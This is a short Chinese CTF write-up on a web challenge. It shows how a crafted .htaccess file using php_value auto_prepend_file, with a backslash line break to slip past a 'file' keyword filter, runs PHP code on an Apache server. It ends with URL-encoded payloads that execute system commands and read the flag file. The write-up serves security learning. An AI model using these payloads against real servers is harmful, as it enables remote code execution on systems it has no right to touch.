[CTF].htaccess的使用技巧总结
例题讲解
掌握知识:
- 测试发现是阿帕奇服务器,就想到上传文件利用
.htaccess配置文件执行jpg文件中的php代码,但是再进行第二次文件写入时会把之前的文件删除掉,所以不能上传两次来利用,index.php文件也不能写入。 - 去搜索了一下
.htaccess文件的利用,发现在一个文章中写了.htaccess文件也可以在不存在php文件下进行解析执行php代码,利用的配置文件中的php_value auto_append_file参数
-
文章还贴心给出了
file被过滤的情况,正好和本次过滤吻合可以直接套用。但是在文件写入函数中还有一个参数\nHello, world,由于\n所以在写入文件之后会把后面的英文写入到下一行,根据了解这不符合当前.htaccess解析格式,不能够正常解析,所以需要在上面距离的代码后面先闭合php代码,再加上\将\n的\进行转义即可,即为?>\,闭合结果为?>\\nHello, world即可将后面的内容输出为一行 -
所有的细节已经分析完毕,只需要将文件名和文件内容传参即可自动解析其中的
php代码,将结果输出出来了,#后面跟着任意代码执行,由于传参是一行的,所以换行的地方需要使用%0a进行代替,#用%23代替,传参测试paylaod,运行两次成功执行代码
payload:
php_value auto_prepend_fi\
le .htaccess
#<?php system("ls")?>\
?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls")?>\&filename=.htaccess
?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls /")?>\&filename=.htaccess
?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("cat /fl'a'g")?>\&filename=.htaccess



















